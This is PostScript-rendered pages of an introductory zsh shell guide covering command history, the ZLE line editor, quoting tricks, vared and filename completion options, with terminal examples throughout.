E(make prog >> make.log)108 372 Q F2 .019(This is dif)72 389 R .019
(ferent from csh, where a bang with no e)-.225 F -.135(ve)-.225 G .019
(nt designator al).135 F -.09(wa)-.09 G .019(ys refers to the pre).09 F
.019(vious command.)-.225 F .018(If you actually lik)4.519 F 2.268(et)
-.09 G(his)-2.268 E(beha)72 400 Q(viour)-.18 E 2.25(,s)-.36 G(et the)
-2.25 E/F4 9/Times-Italic@0 SF(CSHJUNKIEHIST)2.25 E(OR)-.162 E(Y)-.162 E
F2(option.)2.25 E F1 5.4(%s)108 417 S(etopt cshjunkiehistory)-5.4 E 5.4
(%!)108 428 S(-2:0 prog2 >> !:$)-5.4 E(make prog2 >> cshjunkiehistory)
108 439 Q F2(Another w)72 456 Q(ay to use history is to use the)-.09 E
F1(fc)2.25 E F2 2.25(command. F)2.25 F(or e)-.135 E
(xample, if you type an erroneous command:)-.135 E F1 5.4(%f)108 473 S
(or i in `cat /etc/clients`)-5.4 E(do)113.4 484 Q(rpu $i)113.4 495 Q
(done)113.4 506 Q(zsh: command not found: rpu)108 517 Q
(zsh: command not found: rpu)108 528 Q(zsh: command not found: rpu)108
539 Q F2(...)108 550 Q(typing)72 567 Q F1(fc)2.25 E F2(will e)2.25 E
-.135(xe)-.135 G(cute an editor on this command, allo).135 E
(wing you to \214x it.)-.225 E(\(The def)4.5 E(ault editor is)-.09 E F1
(vi)2.25 E F2 2.25(,b)C 2.25(yt)-2.25 G(he w)-2.25 E(ay)-.09 E 2.25(,n)
-.585 G(ot)-2.25 E F1(ed)2.25 E F2(\).)A 0 Cg EP
%%Page: 19 21
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-19-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%f)108 83
S(c)-5.4 E(49)108 94 Q(/rpu/s//rup/p)108 105 Q(rup $i)113.4 116 Q(w)108
127 Q(49)108 138 Q(q)108 149 Q(for i in `cat /etc/clients`)108 160 Q(do)
113.4 171 Q(rup $i)113.4 182 Q(done)113.4 193 Q 16.2(beam up)151.2 204 R
5.4(2d)10.8 G(ays, 10:17,)-5.4 E(load average: 0.86, 0.80, 0.50)21.6 E
16.2(bow up)156.6 215 R 5.4(4d)10.8 G 5.4(ays, 8:41,)-5.4 F
(load average: 0.91, 0.80, 0.50)21.6 E 16.2(burn up)151.2 226 R 16.2
(17:18, load)54 F(average: 0.91, 0.80, 0.50)5.4 E 16.2(burst up)145.8
237 R 5.4(9d)10.8 G 5.4(ays, 1:49,)-5.4 F
(load average: 0.95, 0.80, 0.50)21.6 E 16.2(tan up)156.6 248 R 16.2
(11:14, load)54 F(average: 0.91, 0.80, 0.50)5.4 E 16.2(bathe up)145.8
259 R 5.4(3d)10.8 G(ays, 17:49,)-5.4 E(load average: 1.84, 1.79, 1.50)
21.6 E 16.2(bird up)151.2 270 R 5.4(1d)10.8 G 10.8(ay, 9:13,)-5.4 F
(load average: 1.95, 1.82, 1.51)21.6 E 16.2(bonnet up)140.4 281 R 5.4
(2d)10.8 G(ays, 21:18,)-5.4 E(load average: 0.93, 0.80, 0.50)21.6 E/F2 9
/Times-Roman@0 SF(...)108 292 Q 2.25(Av)72 309 S(ariant of the)-2.475 E
F1(fc)2.25 E F2(command is)2.25 E F1(r)2.25 E F2 2.25(,w)C
(hich redoes the last command, with optional changes:)-2.25 E F1 5.4(%e)
108 326 S(cho foo)-5.4 E(foo)108 337 Q 5.4(%r)108 348 S(echo foo)108 359
Q(foo)108 370 Q 5.4(%e)108 392 S(cho foo)-5.4 E(foo)108 403 Q 5.4(%rf)
108 414 S(oo=bar)-5.4 E(echo bar)108 425 Q(bar)108 436 Q/F3 10
/Times-Bold@0 SF(Command Line Editing)72 466 Q(zsh)72 481.6 Q F0 2.629
-.55('s c)D 1.529(ommand line editor).55 F(,)-.4 E F3(ZLE)4.029 E F0
4.029(,i)C 4.029(sq)-4.029 G 1.529(uite po)-4.029 F 4.029(werful. It)
-.25 F 1.53(is designed to emulate either emacs or vi; the def)4.029 F
1.53(ault is)-.1 F 2.639(emacs. T)72 493.6 R 2.639(os)-.8 G .139
(et the bindings for vi mode, type)-2.639 F/F4 10/Courier@0 SF .138
(bindkey -v)2.638 F F0 5.138(.I)C 2.638(fy)-5.138 G(our)-2.638 E F3
(EDIT)2.638 E(OR)-.18 E F0(or)2.638 E F3(VISU)2.638 E(AL)-.6 E F0(en)
2.638 E .138(vironment v)-.4 F .138(ariable is)-.25 F(vi,)72 505.6 Q F3
(zsh)2.5 E F0(will use vi emulation by def)2.5 E 2.5(ault. Y)-.1 F
(ou can then switch to emacs mode with)-1.1 E F4(bindkey -e)2.5 E F0(.)A
.476(In addition to basic editing, the shell allo)72 521.2 R .477
(ws you to recall pre)-.25 F .477(vious lines in the history)-.25 F
5.477(.I)-.65 G 2.977(ne)-5.477 G .477(macs mode, this is done)-2.977 F
(with)72 533.2 Q/F5 10/Times-Italic@0 SF(^P)2.5 E F0
(\(control-P\) or \(on man)2.5 E 2.5(yt)-.15 G
(erminals\) with the cursor)-2.5 E(-up k)-.2 E -.15(ey)-.1 G(:).15 E F1
5.4(%l)108 550.2 S 5.4(s~)-5.4 G 59.4(-R)108 561.2 S 27(EADME file)-59.4
F 37.8(mail pub)43.2 F(tmp)48.6 E 10.8(Mailboxes bin)108 572.2 R 37.8
(func nicecolors)48.6 F 43.2(scr zsh)10.8 F 37.8(News etc)108 583.2 R
37.8(iris notes)48.6 F(src)37.8 E 5.4(%e)108 594.2 S(cho foobar)-5.4 E
(foobar)108 605.2 Q(%)108 616.2 Q/F6 9/Times-Italic@0 SF(^P)5.4 E F1 5.4
(%e)108 627.2 S(cho foobar)-5.4 E F6(^P)A F1 5.4(%l)108 638.2 S 5.4(s~)
-5.4 G(_)-5.4 E F2(Pressing)72 655.2 Q F6(^P)2.478 E F2 .228
(once brings up the pre)2.478 F .228(vious line \()-.225 F F1 .228
(echo foobar)B F2 .228(\); pressing it ag)B .228
(ain brings up the line before that \()-.045 F F1 .227(ls ~)B F2 2.477
(\). The)B(cur)2.477 E(-)-.18 E .597
(sor is left at the end of the line, allo)72 666.2 R .597
(wing you to edit the line if desired before e)-.225 F -.135(xe)-.135 G
.597(cuting it.).135 F .598(In man)5.098 F 2.848(yc)-.135 G(ases,)-2.848
E/F7 9/Times-Bold@0 SF(ZLE)2.848 E F2 .598(eliminates the)2.848 F
(need for the)72 677.2 Q F1(fc)2.25 E F2(command, since it is po)2.25 E
(werful enough to handle e)-.225 E -.135(ve)-.225 G 2.25(nm).135 G
(ultiline commands:)-2.25 E 0 Cg EP
%%Page: 20 22
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-20-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%f)108 83
S(or i in a b c d e)-5.4 E 5.4(>d)108 94 S(o)-5.4 E 5.4(>e)108 105 S
(cho $i)-5.4 E 5.4(>d)108 116 S(one)-5.4 E(a)108 127 Q(b)108 138 Q(c)108
149 Q(d)108 160 Q(e)108 171 Q(%)108 182 Q/F2 9/Times-Italic@0 SF(^P)5.4
E F1 5.4(%f)108 193 S(or i in a b c d e)-5.4 E(do)113.4 204 Q(echo $i)
113.4 215 Q(done_)113.4 226 Q/F3 9/Times-Roman@0 SF(No)72 243 Q 2.25(wy)
-.225 G(ou can just mo)-2.25 E .27 -.135(ve u)-.135 H 2.25(pt).135 G
2.25(ot)-2.25 G(he part you w)-2.25 E(ant to change...)-.09 E F1 5.4(%f)
108 260 S(or i in a)-5.4 E .36 LW 171.9 262.25 167.4 262.25 DL 172.8
262.25 168.3 262.25 DL 5.4(bcde)178.2 260 S(do)113.4 271 Q(echo $i)113.4
282 Q(done)113.4 293 Q F3(change it, and e)72 310 Q -.135(xe)-.135 G
(cute the ne).135 E 2.25(wc)-.225 G(ommand.)-2.25 E F1 5.4(%f)108 327 S
(or i in f g h i j)-5.4 E(do)113.4 338 Q(echo $i)113.4 349 Q(done)113.4
360 Q(f)108 371 Q(g)108 382 Q(h)108 393 Q(i)108 404 Q(j)108 415 Q F3
.753(Also, you can search the history for a certain command using)72 432
R F2(ESC-P)3.002 E F3 3.002(,t)C .752
(his will look for the last command that started with the)-3.002 F
(\(part of the\) w)72 443 Q(ord at the be)-.09 E
(ginning of the current line.)-.135 E(Hitting)4.5 E F2(ESC-P)2.25 E F3
(another time gets you the command before that, etc.)2.25 E F1 5.4(%s)
108 460 S(et)-5.4 E F2(ESC-P)5.4 E F1 5.4(%s)108 471 S(etopt autolist)
-5.4 E F2(ESC-P)5.4 E F1 5.4(%s)108 482 S(etopt nocorrect_)-5.4 E F3
(Another w)72 499 Q(ay is to do an incremental search, emacs-style:)-.09
E F1(%)108 516 Q F2(^R)5.4 E F1 5.4(%_)108 527 S(i-search:)108 538 Q 5.4
(%l)108 560 S(s)-5.4 E 128.7 562.25 124.2 562.25 DL 129.6 562.25 125.1
562.25 DL(/usr/bin)135 560 Q(i-search: l)108 571 Q 5.4(%d)108 593 S
(ate > foofile.)-5.4 E 198.9 595.25 194.4 595.25 DL 199.8 595.25 195.3
595.25 DL(c)199.8 593 Q(i-search: le)108 604 Q F3 .934(Suppose you ha)72
621 R 1.204 -.135(ve r)-.18 H(etrie).135 E -.135(ve)-.225 G 3.184(da)
.135 G 3.184(no)-3.184 G .934(ld history e)-3.184 F -.135(ve)-.225 G
.935(nt in one of these w).135 F .935(ays and w)-.09 F .935(ould lik)
-.09 F 3.185(et)-.09 G 3.185(oe)-3.185 G -.135(xe)-3.32 G .935(cute se)
.135 F -.135(ve)-.225 G .935(ral consecuti).135 F 1.205 -.135(ve o)-.225
H .935(ld com-).135 F .144(mands starting with this one.)72 632 R F1(^O)
4.643 E F3 .143(will e)2.393 F -.135(xe)-.135 G .143
(cute the current command and then put the ne).135 F .143
(xt command from the history into the edi-)-.135 F .312(tor b)72 643 R
(uf)-.18 E(fer)-.225 E 4.812(.T)-.495 G(yping)-5.532 E F1(^O)2.562 E F3
(se)2.562 E -.135(ve)-.225 G .312(ral times will therefore ree).135 F
-.135(xe)-.135 G .312(cute se).135 F -.135(ve)-.225 G .312
(ral consecuti).135 F .582 -.135(ve c)-.225 H .312
(ommands from the history).135 F 4.812(.O)-.585 G 2.562(fc)-4.812 G .312
(ourse, you can)-2.562 F(edit some of those commands in between.)72 654
Q F0(In addition to completion \(see belo)72 669.6 Q(w\),)-.25 E/F4 10
/Times-Italic@0 SF -.5(TA)2.5 G(B).5 E F0(performs e)2.5 E
(xpansion if possible.)-.15 E F1 5.4(%l)108 686.6 S 5.4(s*)-5.4 G(.c)
-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%l)108 697.6 S 5.4(sf)-5.4 G
(oofile.c fortune.c rnd.c strfile.c unstr.c_)-5.4 E F3 -.135(Fo)72 714.6
S 2.25(re).135 G(xample, suppose you ha)-2.385 E .27 -.135(ve a b)-.18 H
(unch of weird \214les in an important directory:)-.045 E 0 Cg EP
%%Page: 21 23
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-21-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%l)108 83
S(s)-5.4 E 21.6 5.4(*** ;&%$)118.8 94 T 5.4(??foo dspfok)-5.4 F(foo.c)
43.2 E 32.4(!"foo"! `)118.8 105 R 32.4 5.4(\\` f)5.4 H 54(oo rrr)-5.4 F
/F2 9/Times-Roman@0 SF -.99(Yo)72 122 S 2.25(uw).99 G(ant to remo)-2.34
E .27 -.135(ve t)-.135 H(hem, b).135 E(ut you don')-.18 E 2.25(tw)-.162
G(ant to damage)-2.34 E F1(foo.c)2.25 E F2 4.5(.H)C(ere is one w)-4.5 E
(ay to do this:)-.09 E F1 5.4(%r)108 139 S 5.4(m*)-5.4 G/F3 9
/Times-Italic@0 SF -.45(TA)-5.4 G(B).45 E F1 5.4(%r)108 150 S 5.4
(m\\\\\\)-5.4 G(*\\ \\*\\ \\*\\ \\ \\)-5.4 E
(\\!\\"foo\\"\\! \\;\\ \\&\\ %\\ \\$')10.8 E -5.4<b427>108 161 S
(foo \\`\\ \\\\\\ \\` dspfok foo foo.c rrr_)5.4 E F2 .202(When you e)72
178 R(xpand)-.135 E F1(*)2.452 E F2(,)A/F4 9/Times-Bold@0 SF(zsh)2.451 E
F2 .201(inserts the names of all the \214les into the editing b)2.451 F
(uf)-.18 E(fer)-.225 E 2.451(,w)-.36 G .201(ith proper shell quoting.)
-2.451 F(No)4.701 E 1.371 -.585(w, j)-.225 H .201(ust mo).585 F .471
-.135(ve b)-.135 H(ack).135 E(and remo)72 189 Q -.135(ve)-.135 G F1
(foo.c)2.385 E F2(from the b)2.25 E(uf)-.18 E(fer:)-.225 E F1 5.4(%r)108
206 S 5.4(m\\\\\\)-5.4 G(*\\ \\*\\ \\*\\ \\ \\)-5.4 E
(\\!\\"foo\\"\\! \\;\\ \\&\\ %\\ \\$')10.8 E -5.4<b427>108 217 S
(foo \\`\\ \\\\\\ \\` dspfok foo r)5.4 E .36 LW 258.3 219.25 253.8
219.25 DL 259.2 219.25 254.7 219.25 DL(rr)259.2 217 Q F2 .21
(and press return.)72 234 R(Ev)4.71 E .21(erything e)-.135 F(xcept)-.135
E F1(foo.c)2.46 E F2 .21(will be deleted from the directory)2.46 F 4.71
(.I)-.585 G 2.461(fy)-4.71 G .211(ou do not w)-2.461 F .211
(ant to actually e)-.09 F .211(xpand the current)-.135 F -.09(wo)72 245
S(rd, b).09 E(ut w)-.18 E(ould lik)-.09 E 2.25(et)-.09 G 2.25(os)-2.25 G
(ee what the matches are, type)-2.25 E F1(^Xg)2.25 E F2(.)A F1 5.4(%r)
108 262 S 5.4(mf)-5.4 G(*)-5.4 E F3(^Xg)A F1 16.2(foo foo.c)108 273 R
5.4(%r)108 284 S 5.4(mf)-5.4 G(*_)-5.4 E F2(Here')72 301 Q 2.25(sa)-.495
G(nother trick; let')-2.25 E 2.25(ss)-.495 G(ay you ha)-2.25 E .27 -.135
(ve t)-.18 H(yped this command in:).135 E F1 5.4(%g)108 318 S
(cc -o x.out foob.c -g -Wpointer-arith -Wtrigraphs_)-5.4 E F2 .138
(and you for)72 335 R .138(get which library you w)-.162 F 2.388(ant. Y)
-.09 F .138(ou need to escape out for a minute and check by typing)-.99
F F1 .137(ls /usr/lib)2.387 F F2 2.387(,o)C 2.387(rs)-2.387 G .137
(ome other)-2.387 F .117(such command; b)72 346 R .117(ut you don')-.18
F 2.367(tw)-.162 G .117(ant to retype the whole command ag)-2.457 F .117
(ain, and you can')-.045 F 2.367(tp)-.162 G .117(ress return no)-2.367 F
2.367(wb)-.225 G .117(ecause the current com-)-2.367 F .725
(mand is incomplete.)72 357 R(In)5.225 E F4(zsh)2.975 E F2 2.975(,y)C
.725(ou can put the line on the)-2.975 F F3 -.18(bu)2.975 G -.162(ff).18
G .725(er stac).162 F(k)-.18 E F2 2.975(,u)C(sing)-2.975 E F3(ESC-Q)
2.975 E F2 2.975(,a)C .725(nd type some other commands.)-2.975 F .724
(The ne)5.224 F(xt)-.135 E .197(time a prompt is printed, the)72 368 R
F1(gcc)2.447 E F2 .197(line will be popped of)2.447 F 2.447(ft)-.225 G
.197(he stack and put in the editing b)-2.447 F(uf)-.18 E .198
(fer automatically; you can then enter)-.225 F
(the proper library name and press return \(or)72 379 Q(,)-.36 E F3
(ESC-Q)2.25 E F2(ag)2.25 E
(ain and look for some other libraries whose names you for)-.045 E
(got\).)-.162 E F0 3.129(As)72 394.6 S .629
(imilar situation: what if you for)-3.129 F .629
(get the option to gcc that \214nds b)-.18 F .628
(ugs using AI techniques?)-.2 F -1.1(Yo)5.628 G 3.128(uc)1.1 G .628
(ould either use)-3.128 F/F5 10/Times-Italic@0 SF(ESC-Q)72 406.6 Q F0
(ag)2.676 E .176(ain, and type)-.05 F/F6 10/Courier@0 SF .176(man gcc)
2.676 F F0 2.676(,o)C 2.676(ry)-2.676 G .176(ou could press)-2.676 F F5
(ESC-H)2.676 E F0 2.676(,w)C .176
(hich essentially does the same thing; it puts the cur)-2.676 F(-)-.2 E
(rent line on the b)72 418.6 Q(uf)-.2 E(fer stack, and e)-.25 E -.15(xe)
-.15 G(cutes the command).15 E F6(run-help gcc)2.5 E F0 2.5(,w)C(here)
-2.5 E F6(run-help)2.5 E F0(is an alias for)2.5 E F6(man)2.5 E F0(.)A
.335(Another interesting command is)72 434.2 R F5(ESC-A)2.835 E F0 5.335
(.T)C .335(his e)-5.335 F -.15(xe)-.15 G .335(cutes the current line, b)
.15 F .335(ut retains it in the b)-.2 F(uf)-.2 E(fer)-.25 E 2.834(,s)-.4
G 2.834(ot)-2.834 G .334(hat it appears)-2.834 F(ag)72 446.2 Q .117
(ain when the ne)-.05 F .117(xt prompt is printed.)-.15 F .117
(Also, the cursor stays in the same place.)5.117 F .117
(This is useful for e)5.117 F -.15(xe)-.15 G .118(cuting a series).15 F
(of similar commands:)72 458.2 Q F1 5.4(%c)108 475.2 S 5.4(cg)-5.4 G
(rok.c -g -lc -lgl -lsun -lmalloc -Bstatic -o b.out)-5.4 E 5.4(%c)108
486.2 S 5.4(cf)-5.4 G
(ubar.c -g -lc -lgl -lsun -lmalloc -Bstatic -o b.out)-5.4 E 5.4(%c)108
497.2 S 5.4(cf)-5.4 G
(ooble.c -g -lc -lgl -lsun -lmalloc -Bstatic -o b.out)-5.4 E F0(The)72
518.8 Q F5(ESC-')2.5 E F0(command is useful for managing the shell')2.5
E 2.5(sq)-.55 G(uoting con)-2.5 E -.15(ve)-.4 G 2.5(ntions. Let').15 F
2.5(ss)-.55 G(ay you w)-2.5 E(ant to print this string:)-.1 E F1
(don't do that; type 'rm -rf \\*', with a \\ before the *.)108 535.8 Q
F2(All that is necessary is to type it into the editing b)72 552.8 Q(uf)
-.18 E(fer:)-.225 E F1 5.4(%d)108 569.8 S
(on't do that; type 'rm -rf \\*', with a \\ before the *.)-5.4 E F2
(press)72 586.8 Q F3(ESC-')2.25 E F2(\(escape-quote\):)2.25 E F1 5.4(%')
108 603.8 S
(don'\\''t do that; type '\\''rm -rf \\*'\\'', with a \\ before the *.')
-5.4 E F2(then mo)72 620.8 Q .27 -.135(ve t)-.135 H 2.25(ot).135 G
(he be)-2.25 E(ginning and add the)-.135 E F1(echo)2.25 E F2(command.)
2.25 E F1 5.4(%e)108 637.8 S(cho 'don'\\''t do that; type '\\''rm -rf \
\\*'\\'', with a \\ before the *.')-5.4 E
(don't do that; type 'rm -rf \\*', with a \\ before the *.)108 648.8 Q
F2(Let')72 665.8 Q 3.169(ss)-.495 G .919(ay you w)-3.169 F .919
(ant to create an alias to do this)-.09 F F1(echo)3.169 E F2 3.169
(command. This)3.169 F .919(can be done by recalling the line with)3.169
F F3(^P)3.168 E F2 .918(and pressing)3.168 F F3(ESC-')72 676.8 Q F2(ag)
2.25 E(ain:)-.045 E F1 5.4(%')108 693.8 S
(echo '\\''don'\\''\\'\\'''\\''t do that; type '\\''\\'\\'''\\''rm -rf)
-5.4 E(\\*'\\''\\'\\'''\\'', with a \\ before the *.'\\''')108 704.8 Q
F2(and then mo)72 721.8 Q .27 -.135(ve t)-.135 H 2.25(ot).135 G(he be)
-2.25 E(ginning and add the command to create an alias.)-.135 E 0 Cg EP
%%Page: 22 24
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-22-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%a)108 83
S(lias zoof='echo '\\''don'\\''\\'\\'''\\''t do that; type '\\''\\'\\''\
'\\''rm)-5.4 E(-rf \\*'\\''\\'\\'''\\'', with a \\ before the *.'\\''')
108 94 Q 5.4(%z)108 105 S(oof)-5.4 E
(don't do that; type 'rm -rf \\*', with a \\ before the *.)108 116 Q/F2
9/Times-Roman@0 SF .003(If one of these f)72 133 R(anc)-.09 E 2.253(ye)
-.135 G .004(ditor commands changes your command line in a w)-2.253 F
.004(ay you did not intend, you can undo changes with)-.09 F F1(^_)2.254
E F2 2.254(,i)C(f)-2.254 E(you can get it out of your k)72 144 Q -.135
(ey)-.09 G(board, or).135 E F1(^X^U)2.25 E F2 2.25(,o)C(therwise.)-2.25
E F0 .016(Another use of the editor is to edit the v)72 159.6 R .016
(alue of v)-.25 F 2.515(ariables. F)-.25 F .015(or e)-.15 F .015
(xample, an easy w)-.15 F .015(ay to change your path is to use the)-.1
F/F3 10/Courier@0 SF(vared)72 171.6 Q F0(command:)2.5 E F1 5.4(%v)108
188.6 S(ared PATH)-5.4 E 5.4(>/)108 199.6 S(u/pfalstad/scr:/u/pfalstad/\
bin/sun4:/u/maruchck/scr:/u/subbarao/bin:/u/maruc)-5.4 E(hck/bin:/u/sub\
barao/scripts:/usr/princeton/bin:/usr/ucb:/usr/bin:/bin:/usr/host)108
210.6 Q(s:/usr/princeton/bin/X11:/./usr/lang:/./usr/etc:/./etc)108 221.6
Q F2 -.99(Yo)72 238.6 S 2.25(uc).99 G(an no)-2.25 E 2.25(we)-.225 G
(dit the path.)-2.25 E
(When you press return, the contents of the edit b)4.5 E(uf)-.18 E
(fer will be assigned to)-.225 E/F4 9/Times-Bold@0 SF -.666(PA)2.25 G
(TH)-.189 E F2(.)A/F5 10/Times-Bold@0 SF(Completion)72 262.6 Q F0 .965
(Another great)72 278.2 R F5(zsh)3.465 E F0 .965(feature is completion.)
3.465 F .965(If you hit)5.965 F/F6 10/Times-Italic@0 SF -.5(TA)3.465 G
(B).5 E F0(,)A F5(zsh)3.465 E F0 .965(will complete all kinds of stuf)
3.465 F 3.466(f. Lik)-.25 F 3.466(ec)-.1 G .966(ommands or)-3.466 F
(\214lenames:)72 290.2 Q F1 5.4(%c)108 307.2 S(omp)-5.4 E/F7 9
/Times-Italic@0 SF -.45(TA)C(B).45 E F1 5.4(%c)108 318.2 S(ompress _)
-5.4 E 5.4(%l)108 340.2 S 5.4(sn)-5.4 G(ic)-5.4 E F7 -.45(TA)C(B).45 E
F1 5.4(%l)108 351.2 S 5.4(sn)-5.4 G(icecolors _)-5.4 E 5.4(%l)108 373.2
S 5.4(s/)-5.4 G(usr/pr)-5.4 E F7 -.45(TA)C(B).45 E F1 5.4(%l)108 384.2 S
5.4(s/)-5.4 G(usr/princeton/_)-5.4 E 5.4(%l)108 406.2 S 5.4(s-)-5.4 G
5.4(l=)-5.4 G(com)-5.4 E F7 -.45(TA)C(B).45 E F1 5.4(%l)108 417.2 S 5.4
(s-)-5.4 G 5.4(l=)-5.4 G(compress _)-5.4 E F2 .506
(If the completion is ambiguous, the editor will beep.)72 434.2 R .505
(If you \214nd this anno)5.005 F .505(ying, you can set the)-.09 F F7
(NOLISTBEEP)2.755 E F2 2.755(option. Comple-)2.755 F(tion can e)72 445.2
Q -.135(ve)-.225 G 2.25(nb).135 G 2.25(ed)-2.25 G
(one in the middle of w)-2.25 E 2.25(ords. T)-.09 F 2.25(ou)-.72 G
(se this, you will ha)-2.25 E .27 -.135(ve t)-.18 H 2.25(os).135 G
(et the)-2.25 E F7(COMPLETEINW)2.25 E(ORD)-.225 E F2(option:)2.25 E F1
5.4(%s)108 462.2 S(etopt completeinword)-5.4 E 5.4(%l)108 473.2 S 5.4
(s/)-5.4 G(usr/pt)-5.4 E .36 LW 171.9 475.45 167.4 475.45 DL 172.8
475.45 168.3 475.45 DL(on)172.8 473.2 Q F7 -.45(TA)C(B).45 E F1 5.4(%l)
108 484.2 S 5.4(s/)-5.4 G(usr/princet)-5.4 E 198.9 486.45 194.4 486.45
DL 199.8 486.45 195.3 486.45 DL(on/)199.8 484.2 Q 5.4(%s)108 495.2 S
(etopt alwaystoend)-5.4 E 5.4(%l)108 506.2 S 5.4(s/)-5.4 G(usr/pt)-5.4 E
171.9 508.45 167.4 508.45 DL 172.8 508.45 168.3 508.45 DL(on)172.8 506.2
Q F7 -.45(TA)C(B).45 E F1 5.4(%l)108 517.2 S 5.4(s/)-5.4 G
(usr/princeton/_)-5.4 E F2 -.99(Yo)72 534.2 S 2.25(uc).99 G
(an list possible completions by pressing)-2.25 E F7(^D)2.25 E F2(:)A F1
5.4(%l)108 551.2 S 5.4(s/)-5.4 G(vmu)-5.4 E F7 -.45(TA)C 4.5<428a>.45 G
(beep\212)-4.5 E F1 5.4(%l)108 562.2 S 5.4(s/)-5.4 G(vmunix_)-5.4 E 5.4
(%l)108 573.2 S 5.4(s/)-5.4 G(vmunix)-5.4 E F7(^D)A F1 102.6
(vmunix vmunix.old)108 584.2 R 5.4(vmunix.new.kernelmap.old vmunix.org)
108 595.2 R F2(Or)72 612.2 Q 2.25(,y)-.36 G(ou could just set the)-2.25
E F7 -.45(AU)2.25 G -.162(TO).45 G(LIST).162 E F2(option:)2.25 E F1 5.4
(%s)108 629.2 S(etopt autolist)-5.4 E 5.4(%l)108 640.2 S 5.4(s/)-5.4 G
(vmu)-5.4 E F7 -.45(TA)C 4.5<428a>.45 G(beep\212)-4.5 E F1 102.6
(vmunix vmunix.old)108 651.2 R 5.4(vmunix.new.kernelmap.old vmunix.org)
108 662.2 R 5.4(%l)108 673.2 S 5.4(s/)-5.4 G(vmunix_)-5.4 E F2 .063
(If you lik)72 690.2 R 2.313(et)-.09 G 2.313(os)-2.313 G .063
(ee the types of the \214les in these lists, lik)-2.313 F 2.313(ei)-.09
G(n)-2.313 E F1(ls -F)2.313 E F2 2.314(,y)C .064(ou can set the)-2.314 F
F7(LISTTYPES)2.314 E F2 2.314(option. T)2.314 F .064(ogether with)-.72 F
F7 -.45(AU)2.314 G -.162(TO).45 G(LIST).162 E F2(you can use)72 701.2 Q
F7(LIST)2.25 E(AMBIGUOUS)-.45 E F2 4.5(.T)C(his will only list the poss\
ibilities if there is no unambiguous part to add:)-4.5 E 0 Cg EP
%%Page: 23 25
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-23-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%s)108 83
S(etopt listambiguous)-5.4 E 5.4(%l)108 94 S 5.4(s/)-5.4 G(vmu)-5.4 E/F2
9/Times-Italic@0 SF -.45(TA)C 4.5<428a>.45 G(beep\212)-4.5 E F1 5.4(%l)
108 105 S 5.4(s/)-5.4 G(vmunix_)-5.4 E F2 -.45(TA)C 4.5<428a>.45 G
(beep\212)-4.5 E F1 102.6(vmunix vmunix.old)108 116 R 5.4
(vmunix.new.kernelmap.old vmunix.org)108 127 R/F3 9/Times-Roman@0 SF
.562(If you don')72 144 R 2.812(tw)-.162 G .562(ant se)-2.902 F -.135
(ve)-.225 G .562
(ral of these listings to scroll the screen so much, the).135 F F2(AL)
2.811 E -1.665 -.54(WA Y)-.495 H(SLASTPR).54 E(OMPT)-.36 E F3 .561
(option is useful.)2.811 F .561(If set, you)5.061 F(can continue to edi\
t the line you were editing, with the completion listing appearing bene\
ath it.)72 155 Q F0 1.298(Another interesting option is)72 170.6 R/F4 10
/Times-Italic@0 SF(MENUCOMPLETE)3.798 E F0 6.298(.T)C 1.299(his af)
-6.298 F 1.299(fects the w)-.25 F(ay)-.1 E F4 -.5(TA)3.799 G(B).5 E F0
-.1(wo)3.799 G 3.799(rks. Let').1 F 3.799(sl)-.55 G 1.299(ook at the)
-3.799 F/F5 10/Courier@0 SF(/vmunix)3.799 E F0 -.15(ex)72 182.6 S
(ample ag).15 E(ain:)-.05 E F1 5.4(%s)108 199.6 S(etopt menucomplete)
-5.4 E 5.4(%l)108 210.6 S 5.4(s/)-5.4 G(vmu)-5.4 E F2 -.45(TA)C(B).45 E
F1 5.4(%l)108 221.6 S 5.4(s/)-5.4 G(vmunix)-5.4 E F2 -.45(TA)C(B).45 E
F1 5.4(%l)108 232.6 S 5.4(s/)-5.4 G(vmunix.new.kernelmap.old)-5.4 E F2
-.45(TA)C(B).45 E F1 5.4(%l)108 243.6 S 5.4(s/)-5.4 G(vmunix.old_)-5.4 E
F3 .472(Each time you press)72 260.6 R F2 -.45(TA)2.721 G(B).45 E F3
2.721(,i)C 2.721(td)-2.721 G .471(isplays the ne)-2.721 F .471
(xt possible completion.)-.135 F .471(In this w)4.971 F(ay)-.09 E 2.721
(,y)-.585 G .471(ou can c)-2.721 F .471
(ycle through the possible completions)-.135 F
(until you \214nd the one you w)72 271.6 Q(ant.)-.09 E F0(The)72 287.2 Q
F4 -.5(AU)3.096 G -.18(TO).5 G(MENU).18 E F0 .597(option mak)3.096 F
.597(es a nice compromise between this method of completion and the re)
-.1 F .597(gular method.)-.15 F(If)5.597 E .691
(you set this option, pressing)72 299.2 R F4 -.5(TA)3.191 G(B).5 E F0
.691(once completes the unambiguous part normally)3.191 F 3.19(,p)-.65 G
.69(ressing the)-3.19 F F4 -.5(TA)3.19 G(B).5 E F0 -.1(ke)3.19 G 3.19
(yr)-.05 G(epeatedly)-3.19 E(after an ambiguous completion will c)72
311.2 Q(ycle through the possible completions.)-.15 E .105
(Another option you could set is)72 326.8 R F4(RECEXA)2.605 E(CT)-.3 E
F0 2.605(,w)C .105(hich causes e)-2.605 F .105
(xact matches to be accepted, e)-.15 F -.15(ve)-.25 G 2.606(ni).15 G
2.606(ft)-2.606 G .106(here are other pos-)-2.606 F(sible completions:)
72 338.8 Q F1 5.4(%s)108 355.8 S(etopt recexact)-5.4 E 5.4(%l)108 366.8
S 5.4(s/)-5.4 G(vmu)-5.4 E F2 -.45(TA)C 4.5<428a>.45 G(beep\212)-4.5 E
F1 102.6(vmunix vmunix.old)108 377.8 R 5.4
(vmunix.new.kernelmap.old vmunix.org)108 388.8 R 5.4(%l)108 399.8 S 5.4
(s/)-5.4 G(vmunix_)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%l)108 410.8 S 5.4
(s/)-5.4 G(vmunix _)-5.4 E F3 2.128 -.72(To f)72 427.8 T .687
